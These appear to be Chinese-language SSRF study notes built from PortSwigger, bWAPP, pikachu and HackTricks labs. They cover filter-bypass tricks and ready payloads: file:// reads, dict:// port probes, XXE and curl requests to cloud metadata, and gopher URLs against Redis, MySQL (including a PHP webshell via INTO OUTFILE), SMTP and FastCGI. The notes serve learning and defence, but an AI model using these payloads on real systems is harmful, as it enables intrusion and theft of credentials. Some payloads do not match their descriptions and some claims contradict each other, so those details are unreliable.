文章目錄
- 一. PortSwigger
- 1、本地服務器的基本SSRF
- 2、基本的目標不是漏洞機
- 3、Referer標頭的外帶SSRF
- 4、簡單黑名單的SSRF
- 黑名單繞過思路:
- 5、重定向的SSRF
- 6. 簡單的白名單SSRF
- 白名單繞過思路:
- 二、BWAPP
- 1. SSRF + 文件包含漏洞 | 內網探測
- 2. XXE -> SSRF
- 三、pikachu
- 1. file協議 | 讀取文件
- 2. dict協議 | **快速端口探測與服務識別**
- 四、HackTricks
- 1. gopher協議 | RCE
- 協議介紹:
- 2. http協議 | 獲取元數據
- 3. PDF SSRF
- 4. Referer | SSRF
- 5. SNI | SSRF
- 二、利用
- 三、案例
- 6. 代理劫持 | SSRF (類似SNI Nginx SSRF)
- 7. 為什么SSRF很少使用file://
一. PortSwigger
1、本地服務器的基本SSRF
抓請求包,發現存在一個socketapi,后面跟著的是網址,直接替換成 http://localhost/admin
2、基本的目標不是漏洞機
發現改為loaclhost沒用,提示內網網段是192.168.0.x,端口是8080,直接bp的intruder跑,最終發現目標在192.168.0.5上。
3、Referer標頭的外帶SSRF
首先此URL是在Referer中的,并且沒用回顯,所以直接使用collaborator的url,外帶。
4、簡單黑名單的SSRF
對127.0.0.1和admin進行了黑名單;
黑名單繞過思路:
-
短鏈,原理重定向
-
對域名的黑名單:
- 域名解析
-
IP混淆
- ipv4非標準格式
- ipv6
- ip分段和省略
-
url編碼
-
對ip的黑名單:
-
DNS重綁
-
SNI + 域名注冊解析
客戶端發送:目標 IP 地址:1.2.3.4(這個不在黑名單中)SNI 域名:evil.me -> 192.168.1.100服務端校驗 IP:1.2.3.4 沒在黑名單 ?,放行代理或網關(如 Envoy)收到請求:根據 SNI(evil.me)查找對應的 內部服務配置實際將請求路由到 → 192.168.1.100
-
5、重定向的SSRF
攻擊面在重定向的url里
6. 簡單的白名單SSRF
白名單繞過思路:
- 對ip的白名單
- DNS重綁
- 域名@:
http://trusted.com@evil.com
- 域名#:
https://evil-host#expected-host
- 注冊域名:https://expected-host.evil-host
二、BWAPP
1. SSRF + 文件包含漏洞 | 內網探測
http://**ip1**/bWAPP/rlfi.php?language=http://**ip2**/evil/ssrf-1.txt&action=go
POST DATA:**ip3**
解釋:
- ip1存在ssrf
- ip2為自己的ip
- ip3為目標的內網ip,ip2范圍不了
- 在ip1上又存在文件包含漏洞
- ip2上放應該掃描腳本,讓ip1包含
2. XXE -> SSRF
維度 | XXE | SSRF |
---|---|---|
觸發機制 | 通過惡意 XML 輸入觸發 | 通過用戶控制的 URL 參數觸發 |
主要攻擊面 | 文件讀取、內網探測、DoS、SSRF 等 | 內網服務訪問、云元數據竊取、端口掃描等 |
協議支持 | 支持多種協議(HTTP、FILE、Gopher 等) | 通常依賴 HTTP/HTTPS |
防御重點 | 禁用外部實體和 DTD | 校驗請求目標、網絡隔離 |
當 XXE 的外部實體指向一個網絡資源時,服務器會嘗試發起請求,此時 XXE 的利用效果與 SSRF 一致。
示例:
<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
- 效果:服務器訪問云元數據接口,等同于 SSRF 攻擊。
三、pikachu
1. file協議 | 讀取文件
-
協議支持廣泛性
- 許多編程語言的網絡庫默認支持多種協議(如
HTTP
、HTTPS
、FTP
、File
)。 - 例如:
- PHP 的
file_get_contents()
支持file://
。 - Python 的
urllib.request.urlopen()
支持file://
。
- PHP 的
- 許多編程語言的網絡庫默認支持多種協議(如
-
輸入驗證不嚴
-
若服務端未對用戶輸入的協議類型進行過濾,攻擊者可構造
file://
路徑。 -
示例漏洞代碼(PHP):
$url = $_GET['url']; // 用戶可控輸入 $content = file_get_contents($url); echo $content;
攻擊者提交
?url=file:///etc/passwd
,服務器返回/etc/passwd
內容。
-
-
編碼混淆繞過
-
攻擊者可能對路徑進行 URL 編碼,繞過簡單過濾:
file://%2Fetc%2Fpasswd → 解碼為 file:///etc/passwd
-
2. dict協議 | 快速端口探測與服務識別
服務名稱 | 默認端口 | 示例 Payload | 響應特征 | 攻擊用途 |
---|---|---|---|---|
Redis | 6379 | dict://127.0.0.1:6379/info | 返回 Redis 版本、配置信息(如 redis_version:6.0.9 ) | 探測 Redis 服務、執行未授權命令(如 FLUSHALL 、CONFIG SET ) |
Memcached | 11211 | dict://127.0.0.1:11211/stats | 返回統計信息(如 STAT pid 1 、STAT version 1.6.9 ) | 探測 Memcached 服務、查看統計信息 |
Elasticsearch | 9200 | dict://127.0.0.1:9200/_cluster/health | 返回 JSON 格式集群健康信息(如 "status":"green" ) | 確認 Elasticsearch 服務狀態 |
SSH | 22 | dict://127.0.0.1:22/ | 返回 SSH 協議標識(如 SSH-2.0-OpenSSH_8.2p1 ) | 探測 SSH 服務、獲取版本信息 |
ZooKeeper | 2181 | dict://127.0.0.1:2181/stat | 返回 ZooKeeper 狀態(如 Zookeeper version: 3.6.3 ) | 確認 ZooKeeper 服務存活 |
FTP | 21 | dict://127.0.0.1:21/ | 返回 FTP 歡迎信息(如 220 FTP Server ready ) | 探測 FTP 服務、獲取版本信息 |
SMTP | 25 | dict://127.0.0.1:25/HELO | 返回 SMTP 響應(如 250 smtp.example.com ) | 探測 SMTP 服務、驗證郵件服務器 |
HTTP | 80/443 | dict://127.0.0.1:80/GET / HTTP/1.0 | 返回 HTTP 響應頭(如 HTTP/1.1 200 OK ) | 探測 Web 服務、驗證 HTTP 協議支持 |
PostgreSQL | 5432 | dict://127.0.0.1:5432/ | 返回錯誤(如 Protocol error )或連接成功無響應 | 探測 PostgreSQL 端口開放狀態 |
MySQL | 3306 | dict://127.0.0.1:3306/ | 返回 MySQL 協議握手包(需解析二進制數據) | 探測 MySQL 服務存活 |
DNS | 53 | dict://127.0.0.1:53/ | 無響應或返回協議錯誤(需 UDP 協議支持) | 探測 DNS 服務端口開放狀態 |
MongoDB | 27017 | dict://127.0.0.1:27017/ | 返回 MongoDB 協議握手包(需解析二進制數據) | 探測 MongoDB 服務存活 |
RDP | 3389 | dict://127.0.0.1:3389/ | 返回 RDP 協議握手包(需解析二進制數據) | 探測遠程桌面服務狀態 |
VNC | 5900 | dict://127.0.0.1:5900/ | 返回 RFB 協議標識(如 RFB 003.008 ) | 探測 VNC 服務版本 |
四、HackTricks
1. gopher協議 | RCE
協議介紹:
Gopher協議是一種古老的、基于TCP的協議,支持直接指定IP、端口和任意字節流(payload)。這意味著攻擊者可以通過Gopher協議構造幾乎任何類型的TCP數據包,不僅限于HTTP請求,從而突破HTTP協議的限制。
Gopher協議支持構造完整的GET和POST請求數據包。攻擊者可以先抓取請求的原始數據包(包括頭部和body),將其轉換為Gopher格式,通過SSRF漏洞發送到目標服務。
目標服務 | 攻擊場景 | Payload 構造步驟 | 修復建議 |
---|---|---|---|
Redis 未授權訪問 | 通過 CONFIG SET 修改持久化路徑,寫入 Webshell 或 SSH 密鑰。 | 1. 構造 Redis 命令:CONFIG SET dir /var/www/html 2. 轉換為 Gopher 格式并 URL 編碼: gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$5%0d%0a12345%0d%0a*1%0d%0a$4%0d%0asave%0d%0a | 1. 啟用 Redis 密碼認證 2. 禁止綁定公網 IP |
MySQL 未授權執行 | 利用無密碼認證漏洞發送惡意 SQL 語句(需協議握手包構造)。 | 1. 構造 MySQL 認證包(十六進制): gopher://127.0.0.1:3306/_%01%00%00%01%85%00%00%00%00%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00 2. 附加 SQL 語句(如 SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php' )。 | 1. 強制密碼認證 2. 禁用 INTO OUTFILE 權限 |
SMTP 郵件偽造 | 偽造發件人發送釣魚郵件或垃圾郵件。 | 1. 構造 SMTP 命令序列: HELO attacker.com%0d%0aMAIL FROM:<spoof@example.com>%0d%0aRCPT TO:<victim@example.com>%0d%0aDATA%0d%0aSubject: Test%0d%0aHello!%0d%0a.%0d%0aQUIT 2. 生成 Gopher URL: gopher://smtp.example.com:25/_HELO%20attacker.com%250d%250a... | 1. 啟用 SMTP 身份驗證 2. 配置 SPF/DKIM/DMARC 反偽造策略 |
FastCGI RCE | 利用 PHP-FPM 未授權訪問執行系統命令。 | 1. 構造 FastCGI 請求包: gopher://127.0.0.1:9000/_%01%01...{惡意載荷}... 2. 載荷包含 SCRIPT_FILENAME 指向 PHP 文件,PHP_VALUE 注入代碼。 | 1. 限制 FastCGI 監聽地址 2. 配置 PHP-FPM 訪問控制 |
Memcached 未授權 | 通過 set 命令寫入惡意緩存數據,觸發反序列化漏洞。 | 1. 構造 Memcached 命令: set key 0 3600 10%0d%0aevil_data%0d%0a 2. 轉換為 Gopher URL: gopher://127.0.0.1:11211/_set%20key%200%203600%2010%0d%0aevil_data%0d%0a | 1. 綁定本地回環地址 2. 啟用 SASL 認證 |
Zabbix 未授權 RCE | 利用 Zabbix Server 的 script.exec 執行系統命令。 | 1. 構造 JSON-RPC 請求: {"jsonrpc":"2.0","method":"script.update","params":{"scriptid":"1","command":"id"},"id":1} 2. 轉換為 Gopher 載荷: gopher://zabbix-server:10051/_POST%20... | 1. 限制 Zabbix Server 的 API 訪問 2. 更新至最新版本 |
HTTP 請求偽造 | 穿透內網訪問管理接口(如 Jenkins、Kubernetes API)。 | 1. 構造 HTTP 請求頭: GET /manager/html HTTP/1.1%0d%0aHost: 192.168.1.100%0d%0a%0d%0a 2. 生成 Gopher URL: gopher://192.168.1.100:8080/_GET%20/manager/html%20HTTP/1.1%250d%250aHost:%20192.168.1.100%250d%250a%250d%250a | 1. 網絡隔離內網服務 2. 啟用身份認證 |
2. http協議 | 獲取元數據
目標:通過 SSRF 獲取云服務的敏感信息。
關鍵點:
- 訪問 AWS 元數據服務(如
http://169.254.169.254/latest/meta-data/
)獲取憑證。 - 在 AWS ECS 中,讀取環境變量(如
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
)獲取憑證 。
3. PDF SSRF
-
惡意元素:在 PDF 中嵌入指向內部服務的圖像或字體 URL。
-
攻擊流程:
-
用戶上傳包含以下內容的 PDF:
<</Type /Page/Contents [ <</Length 100>> streamBT /F1 20 Tf 100 700 Td (Click me) Tj ET<</Subtype /Image/Width 100/Height 100/ColorSpace /DeviceRGB/BitsPerComponent 8/Filter /ASCIIHexDecode /Length 50>> stream2 0 obj <</Length 10>> stream http://169.254.169.254/latest/meta-data/
-
服務器解析 PDF 時嘗試加載外部圖像,向云元數據接口發起請求。
-
響應數據可能被記錄或返回給攻擊者,導致敏感信息(如 IAM 憑證)泄露。
-
4. Referer | SSRF
目標:利用 Referer 頭部引發 SSRF。
關鍵點:
- 某些服務器會訪問 Referer 頭部中的 URL,攻擊者可控制該頭部引導服務器訪問惡意資源 。HackTricks
- 使用工具(如 Burp Suite 的 Collaborator Everywhere 插件)輔助發現此類漏洞。HackTricks
5. SNI | SSRF
一、SNI作用 | 支持多域名共享同一 IP 地址
- 場景:一臺服務器(IP 地址)托管多個 HTTPS 網站(如 example.com 和 test.com),每個網站有獨立的 SSL/TLS 證書。
- 問題:在 TLS 握手時,服務器需要先提供證書,但 HTTP 請求的 Host 頭(包含域名)在加密通道建立后才發送,服務器無法提前知道客戶端想要哪個證書。
- SNI 的作用
- 客戶端在 TLS 握手的 ClientHello 消息中包含 SNI 擴展,指定目標域名(如 example.com)。
- 服務器根據 SNI 值選擇并返回對應的證書。
- 結果:無需為每個域名分配獨立 IP,降低了成本,廣泛應用于虛擬主機、CDN 和云服務。
二、利用
? 1. SNI 偽裝訪問內網 IP(繞過 IP 黑名單)
- 注冊一個域名
evil.me
,將其 DNS 指向192.168.1.100
- 發起 SSRF 到
https://evil.me
- 設置 SNI 為
evil.me
- 服務器通過內部 DNS 解析
evil.me
,請求到達內網服務 ?
? 2. SNI + Nginx $ssl_server_name
動態代理 SSRF
proxy_pass https://$ssl_server_name;
- 發請求時設置 SNI 為內網 IP:
192.168.1.100
- 即使請求 URL 是公網域名,服務端也會根據 SNI 反代進內網!
三、案例
🧊 案例 1:AWS 元數據 SSRF 繞過(SNI 偽裝)
curl --resolve metadata.aws:443:169.254.169.254 https://metadata.aws
- 你設置了 DNS:metadata.aws → 169.254.169.254(元數據地址)
- SNI 設置為 metadata.aws(看起來合法)
- 請求實際打到元數據服務器 ?
- 獲取 IAM 臨時憑證、AccessKey 等敏感數據
🧊 案例 2:Nginx SSRF 利用 $ssl_server_name
proxy_pass https://$ssl_server_name;openssl s_client -connect target.com:443 -servername 192.168.1.100
- 客戶端設置
SNI: 192.168.1.100
- 請求發給
target.com
- 服務器看到
$ssl_server_name = 192.168.1.100
- 自動反代到
https://192.168.1.100
?
6. 代理劫持 | SSRF (類似SNI Nginx SSRF)
攻擊姿勢:
通過控制中間代理或反向代理的標頭(如 X-Forwarded-Host
),篡改請求目標。
示例請求:
POST /ssrf?target=https://go.dialexa.com HTTP/1.1
Host: victim.com
X-Original-Host: 127.0.0.1 # 篡改代理標頭
攻擊邏輯:
-
反向代理(如 Nginx)可能信任
X-Original-Host
標頭,覆蓋實際 Host:location /ssrf {proxy_pass http://$http_x_original_host; # 漏洞點 }
-
實際請求被代理到
http://127.0.0.1
,而非go.dialexa.com
。
生效條件:
- 代理服務信任并解析特定標頭(如
X-Forwarded-For
、X-Original-Host
)。 - 標頭值未被過濾,允許注入內網 IP 或域名。
7. 為什么SSRF很少使用file://
- SSRF 的核心是:繞過網絡邊界,去請求 外部或內網資源;
file://
協議不走網絡棧,它直接訪問本地文件系統;- 用
file://
就完全脫離了這個核心,實戰中用處非常有限。